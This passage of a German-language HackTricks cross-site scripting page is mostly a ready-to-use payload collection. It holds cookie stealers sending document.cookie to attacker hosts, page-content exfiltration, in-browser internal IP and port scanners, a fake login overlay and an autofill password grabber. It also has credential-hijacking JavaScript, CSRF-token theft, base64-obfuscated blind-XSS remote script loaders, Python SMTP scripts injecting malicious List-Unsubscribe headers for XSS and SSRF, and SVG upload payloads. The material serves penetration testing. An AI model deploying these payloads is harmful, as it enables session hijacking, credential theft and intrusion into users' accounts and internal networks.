<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
Tip
Du kannst nicht aus JavaScript auf die Cookies zugreifen, wenn das HTTPOnly-Flag im Cookie gesetzt ist. Aber hier hast du some ways to bypass this protection, falls du Glück hast.
Seiteninhalt stehlen
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Interne IPs finden
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Kurze Zeiten zeigen einen antwortenden Port an Längere Zeiten zeigen keine Antwort an.
Überprüfe die Liste der in Chrome gesperrten Ports here und in Firefox here.
Box zum Anfordern von Zugangsdaten
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Automatisch ausgefüllte Passwörter erfassen
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don’t write anything the credentials will be ex-filtrated.
Hijack form handlers to exfiltrate credentials (const shadowing)
Wenn irgendwelche Daten in das password-Feld eingegeben werden, werden username und password an den Angreifer-Server gesendet. Selbst wenn der client ein gespeichertes password auswählt und nichts eingibt, werden die credentials ex-filtrated.
Wenn ein kritischer handler (z. B. function DoLogin(){...}) später auf der Seite deklariert wird und dein Payload früher ausgeführt wird (z. B. via inline JS-in-JS sink), definiere zuerst ein const mit demselben Namen, um den Handler vorab zu belegen und zu sperren. Spätere Funktionsdeklarationen können einen const-Namen nicht neu binden, sodass dein hook die Kontrolle behält:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Notes
- Das beruht auf der Ausführungsreihenfolge: deine Injection muss vor der legitimen Deklaration ausgeführt werden.
- Wenn dein Payload in
eval(...)eingebettet ist, werdenconst/let-Bindings nicht zu globals. Verwende die dynamische<script>Injection technique aus dem Abschnitt “Deliverable payloads with eval(atob()) and scope nuances”, um ein echtes globales, nicht neu-bindbares Binding sicherzustellen. - Wenn Keyword-Filter Code blockieren, kombiniere das mit Unicode-escaped identifiers oder der
eval(atob('...'))-Auslieferung, wie oben gezeigt.
Keylogger
Bei einer kurzen Suche auf github habe ich ein paar verschiedene gefunden:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Du kannst auch metasploit
http_javascript_keyloggerverwenden
Stehlen von CSRF-Tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Stehlen von PostMessage-Nachrichten
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
PostMessage-origin script loaders (opener-gated)
Wenn eine Seite event.origin aus einer postMessage speichert und dieses später in eine script URL einfügt, kontrolliert der Sender die origin des geladenen JS:
window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});
Exploitation recipe (from CAPIG):
- Gates: läuft nur, wenn
window.openerexistiert undpixel_idauf der Allowlist steht; die Origin wird niemals geprüft. - Use CSP-allowed origin: pivot auf eine Domain, die bereits durch die Opfer-CSP erlaubt ist (z. B. ausgeloggte Help-Seiten, die Analytics wie
*.THIRD-PARTY.comerlauben) und hoste dort/sdk/<pixel_id>/iwl.jsvia takeover/XSS/upload. - Restore
opener: in Android WebView machtwindow.name='x'; window.open(target,'x')die Seite zu ihrem eigenen opener; sende die bösartigepostMessageaus einem übernommenen iframe. - Trigger: das iframe postet
{msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}; das Parent lädt dann die Angreifer-iwl.jsvon der CSP-erlaubten Origin und führt sie aus.
Das verwandelt origin-losen postMessage-Validation in eine remote script loader primitive, die CSP überlebt, wenn du auf einer bereits von der Policy erlaubten Origin landen kannst.
Supply-chain stored XSS via backend JS concatenation
Wenn ein Backend ein shared SDK aufbaut, indem es JS-Strings mit user-controlled Werten verkettet, kann jedes Quote/Structure-Breaker Script injizieren, das an alle Konsumenten ausgeliefert wird:
- Beispielmuster (Meta CAPIG): der Server hängt
cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>});direkt ancapig-events.jsan. - Das Injizieren von
'oder"]}schließt das Literal/Objekt und fügt Angreifer-JS hinzu, wodurch stored XSS im verteilten SDK entsteht, für jede Seite, die es lädt (first-party and third-party).
Abusing Service Workers
Accessing Shadow DOM
Polyglots
Blind XSS payloads
Du kannst auch verwenden: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Zugriff auf versteckte Inhalte
Aus diesem Writeup lässt sich lernen, dass selbst wenn manche Werte aus JS verschwinden, sie weiterhin in JS-Attributen in verschiedenen Objekten gefunden werden können. Zum Beispiel kann eine Eingabe eines REGEX weiterhin gefunden werden, nachdem der Wert der Eingabe des regex entfernt wurde:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force Liste
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
XSS zur Ausnutzung anderer Schwachstellen
XSS in Markdown
Kann man Markdown-Code injizieren, der gerendert wird? Vielleicht bekommst du so XSS! Siehe:
XSS to SSRF
Hast du XSS auf einer Website, die Caching verwendet? Versuche das in SSRF umzuwandeln durch Edge Side Include Injection mit diesem payload:
<esi:include src="http://yoursite.com/capture" />
Use it to bypass cookie restrictions, XSS filters and much more!
More information about this technique here: XSLT.
XSS in dynamic created PDF
Wenn eine Webseite ein PDF unter Verwendung von nutzerkontrollierten Eingaben erstellt, kannst du versuchen, den Bot der das PDF erstellt zu täuschen, damit er beliebigen JS-Code ausführt.
Wenn der PDF creator bot also irgendeine Art von HTML tags findet, wird er diese interpretieren, und du kannst dieses Verhalten missbrauchen, um ein Server XSS zu verursachen.
Wenn du keine HTML-Tags injizieren kannst, kann es sich lohnen, zu versuchen, PDF-Daten zu injizieren:
XSS in Amp4Email
AMP, das darauf abzielt, die Performance von Webseiten auf mobilen Geräten zu beschleunigen, verwendet HTML-Tags, ergänzt durch JavaScript, um Funktionalität mit Schwerpunkt auf Geschwindigkeit und Sicherheit zu gewährleisten. Es unterstützt eine Reihe von Komponenten für verschiedene Funktionen, zugänglich über AMP components.
Das AMP for Email Format erweitert spezifische AMP-Komponenten für E-Mails und ermöglicht es Empfängern, direkt innerhalb ihrer E-Mails mit Inhalten zu interagieren.
Beispiel writeup XSS in Amp4Email in Gmail.
List-Unsubscribe Header Abuse (Webmail XSS & SSRF)
Der RFC 2369 List-Unsubscribe header bettet vom Angreifer kontrollierte URIs ein, die viele Webmail- und Mail-Clients automatisch in “Unsubscribe”-Buttons umwandeln. Wenn diese URIs ohne Validierung gerendert oder abgerufen werden, wird der Header zu einem Injektionspunkt sowohl für stored XSS (wenn der unsubscribe link im DOM platziert wird) als auch SSRF (wenn der Server die unsubscribe-Anfrage im Namen des Benutzers ausführt).
Stored XSS via javascript: URIs
- Sende dir selbst eine E-Mail bei der der Header auf eine
javascript:URI zeigt, während der Rest der Nachricht harmlos bleibt, damit Spam-Filter sie nicht verwerfen. - Stelle sicher, dass die UI den Wert rendert (viele Clients zeigen ihn in einem “List Info”-Pane) und prüfe, ob das resultierende
<a>tag vom Angreifer kontrollierte Attribute wiehrefodertargetübernimmt. - Löse die Ausführung aus (z. B. CTRL+click, middle-click oder “open in new tab”), wenn der Link
target="_blank"verwendet; Browser werden das bereitgestellte JavaScript in der Origin der Webmail-Anwendung auswerten. - Beobachte die stored-XSS-Primitive: die Payload bleibt mit der E-Mail bestehen und benötigt nur einen Klick, um ausgeführt zu werden.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Das Newline-Byte (%0a) in der URI zeigt, dass selbst ungewöhnliche Zeichen die Rendering-Pipeline in verwundbaren Clients wie Horde IMP H5 überleben, die die Zeichenfolge unverändert innerhalb des a-Tags ausgeben.
Minimaler SMTP PoC, der einen bösartigen List-Unsubscribe-Header liefert
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessagesmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”
msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
#### Server-seitige Unsubscribe-Proxies -> SSRF
Einige Clients, wie die Nextcloud Mail app, proxyen die Unsubscribe-Aktion serverseitig: Ein Klick auf den Button veranlasst den Server, die angegebene URL selbst abzurufen. Dadurch wird der Header zu einem SSRF-Primitiv, besonders wenn Administratoren `'allow_local_remote_servers' => true` setzen (dokumentiert in [HackerOne report 2902856](https://hackerone.com/reports/2902856)), was Anfragen an loopback- und RFC1918-Bereiche erlaubt.
1. **Erstelle eine E-Mail** deren `List-Unsubscribe` auf einen vom Angreifer kontrollierten Endpoint zeigt (für blind SSRF Burp Collaborator / OAST verwenden).
2. **Behalte `List-Unsubscribe-Post: List-Unsubscribe=One-Click`** bei, damit die UI einen One-Click-Unsubscribe-Button anzeigt.
3. **Erfülle Vertrauensanforderungen**: Nextcloud führt beispielsweise HTTPS-Unsubscribe-Anfragen nur aus, wenn die Nachricht die DKIM-Prüfung besteht, daher muss der Angreifer die E-Mail mit einer Domain signieren, die er kontrolliert.
4. **Zustelle die Nachricht an ein Postfach, das vom Zielserver verarbeitet wird**, und warte, bis ein Benutzer den Unsubscribe-Button klickt.
5. **Überwache den serverseitigen Callback** am collaborator endpoint und pivotiere dann auf interne Adressen, sobald das Primitiv bestätigt ist.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
DKIM-signierte List-Unsubscribe-Nachricht für SSRF-Tests
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkimsmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”
msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
**Testhinweise**
- Verwende einen OAST-Endpunkt, um blind SSRF-Hits zu sammeln, und passe dann die `List-Unsubscribe`-URL an, um `http://127.0.0.1:PORT`, metadata services oder andere interne Hosts anzusprechen, sobald das Primitive bestätigt ist.
- Da der unsubscribe helper häufig denselben HTTP-Stack wie die Anwendung wiederverwendet, übernimmst du dessen Proxy-Einstellungen, HTTP-Verben und Header-Umschreibungen, was weitere Traversal-Tricks ermöglicht, die in der [SSRF methodology](../ssrf-server-side-request-forgery/README.md) beschrieben sind.
### XSS Dateien hochladen (svg)
Lade als Bild eine Datei wie die folgende hoch (von [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Finde mehr SVG payloads in https://github.com/allanlw/svg-cheatsheet
Verschiedene JS-Tricks & Relevante Infos
Misc JS Tricks & Relevant Info
XSS-Ressourcen
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Referenzen
- Turning a harmless XSS behind a WAF into a realistic phishing vector
- XSS and SSRF via the List-Unsubscribe SMTP Header in Horde Webmail and Nextcloud Mail
- HackerOne Report #2902856 - Nextcloud Mail List-Unsubscribe SSRF
- From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough
- MDN eval()
- CAPIG XSS: postMessage origin trust becomes a script loader + backend JS concatenation enables supply-chain stored XSS
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


